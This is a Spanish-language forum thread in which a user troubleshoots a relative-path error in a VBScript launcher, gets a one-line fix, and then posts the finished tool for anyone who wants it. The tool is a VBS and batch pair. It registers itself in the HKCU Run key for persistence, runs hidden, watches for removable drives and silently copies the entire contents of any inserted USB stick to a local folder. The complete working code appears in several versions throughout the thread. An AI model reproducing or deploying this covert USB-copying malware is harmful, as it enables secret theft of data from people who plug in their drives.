script vbs con ruta relativa (SOLUCIONADO)

Iniciado por soyloqbuskas, 21 Octubre 2011, 07:14 AM

0 Miembros y 1 Visitante están viendo este tema.

soyloqbuskas

Buenas a todos!
Tengo el siguiente problemilla.....llevo dandole vueltas todo el dia y me tiene un poco loco....

Tengo el siguiente script llamado sys.vbs

set objshell = createobject("wscript.shell")
objshell.run "system.bat",vbhide

Funciona perfectamente, me habre el .bat y hasta aqui todo bien.
El .bat hace una entrada en el registro para que al arrancar windows se inicie el sys.vbs

Y eso es lo que falla....la entrada en el registro esta bien hecha....pero cuando se inicia el sys.vbs da un error en la linea 2 y dice que no encuentra el archivo.....en cambio cuando ejecuto el sys.vbs con un doble click funciona perfectamente..... :$

El caso es que si cambio el script (.vbs) y le pongo la ruta absoluta (rutaAbsoluta\system.bat)   si que funciona cuando arranca windows....por tanto el problema es de la ruta del sys.vbs, pero claro por tema de portabilidad, no me interesa que use ruta absoluta, prefiero la relativa....

¿Hay alguna otra forma de poner la ruta relativa de otra manera?
¿Hay alguna forma de calcular la ruta absoluta para luego concatenar el nombre del fichero?
y la mejor pregunta de todas.....¿porque ocurre esto con la ruta relativa y no con la absoluta?

Nota: he probado con  Environment.CurrentDirectory y con App.Path y no funciona.....imagino que sera porque en un script no estan estas librerias....

Gracias, un saludo!
"Si tienes 1 manzana y yo tengo otra manzana...
y las intercambiamos, ambos seguiremos teniendo 1 manzana.
Pero...si tu tienes 1 idea y yo tengo otra idea...
y las intercambiamos, ambos tendremos 2 ideas."


George Bernard Shaw

soyloqbuskas

Bueno, por mas vueltas que le doy...no soy capaz de sacar la respuesta....
Con ruta absoluta si que funciona....
Os pongo los script que me funcionan perfectamente (con ruta absoluta claro..):

Scrtipt sys.vbs
set objshell = createobject("wscript.shell")
objshell.run "C:%homepath%\Desktop\log\system.bat",vbhide


Script system.bat

@echo off

REG ADD HKCU\software\microsoft\windows\currentversion\run /v sys /d C:%homepath%\desktop\log\sys.vbs  /f
:loop
   for /f "tokens=1" %%x in ('wmic logicaldisk get caption^, description ^| find /i "extra"') do (
      xcopy /s %%x C:%homepath%\desktop\log
      if EXIST %%x goto end   
   )
goto loop
:end
exit /b 0


El script sys.vbs ejecuta de manera oculta al script system.bat
El system.bat, hace:
     - una entrada en el registro de inicio de sesion de usuario
     - checkea los puertos usb para detectar memorias extraibles
     - en cuanto detecta un pendrive copia todo su contenido en la carpeta log
     - y finaliza el script
     - cuando el usuario vuelva a iniciar sesion, se volvera a ejecutar todo el proceso

Y asi es como me quedan los script con ruta relativa:

Scrript sys.vbs:
set objshell = createobject("wscript.shell")
objshell.run "system.bat",vbhide


Script system.bat:
@echo off

REG ADD HKCU\software\microsoft\windows\currentversion\run /v sys /d "%cd%\sys.vbs"  /f
:loop
   for /f "tokens=1" %%x in ('wmic logicaldisk get caption^, description ^| find /i "extra"') do (
      xcopy /s %%x
      if EXIST %%x goto end   
   )
goto loop
:end
exit /b 0


Este 2º modelo de script, funciona con doble click en sys.vbs, pero cuando arranca la sesion no funciona, me da error en la linea 2 del sys.vbs (no puede encontrar el archivo en la ruta especificada :S)
¿como es posible que con doble click si y arrancando desde el reg no?

NOTA: trabajo con windows 7, no se si afecta....pero por si acaso lo aviso...

Gracias a todos, un saludo!
"Si tienes 1 manzana y yo tengo otra manzana...
y las intercambiamos, ambos seguiremos teniendo 1 manzana.
Pero...si tu tienes 1 idea y yo tengo otra idea...
y las intercambiamos, ambos tendremos 2 ideas."


George Bernard Shaw

Novlucker

Recién lo veo :P

Código (vb) [Seleccionar]
Msgbox left(wscript.scriptfullname,len(wscript.scriptfullname)-len(wscript.scriptname))

Saludos
Contribuye con la limpieza del foro, reporta los "casos perdidos" a un MOD XD

"Hay dos cosas infinitas: el Universo y la estupidez  humana. Y de la primera no estoy muy seguro."
Albert Einstein

soyloqbuskas

#3
Esa simple linea me ha dado la vida! jajaja
Ahora funciona todo perfectamente!

Para quien quiera este script que copia los usb de manera oculta, aqui os dejo el codigo bien hecho y mejorado!

archivo sys.vbs
set objshell = createobject("wscript.shell")
rutaBat = left(wscript.scriptfullname,len(wscript.scriptfullname)-len(wscript.scriptname))
rutaSys = rutaBat &"sys.vbs"
rutaBat = rutaBat &"system.bat"
objshell.regWrite "HKCU\software\microsoft\windows\currentversion\run\sys", rutaSys, "REG_SZ"
objshell.run rutaBat,vbhide


archivo system.bat
@echo off

:loop
for /f "tokens=1" %%x in ('wmic logicaldisk get caption^, description ^| find /i "extra"') do (
xcopy /s %%x
if EXIST %%x goto end
)
goto loop
:end
exit /b 0


Muchisimas gracias Novlucker! ;)
Un saludo!
"Si tienes 1 manzana y yo tengo otra manzana...
y las intercambiamos, ambos seguiremos teniendo 1 manzana.
Pero...si tu tienes 1 idea y yo tengo otra idea...
y las intercambiamos, ambos tendremos 2 ideas."


George Bernard Shaw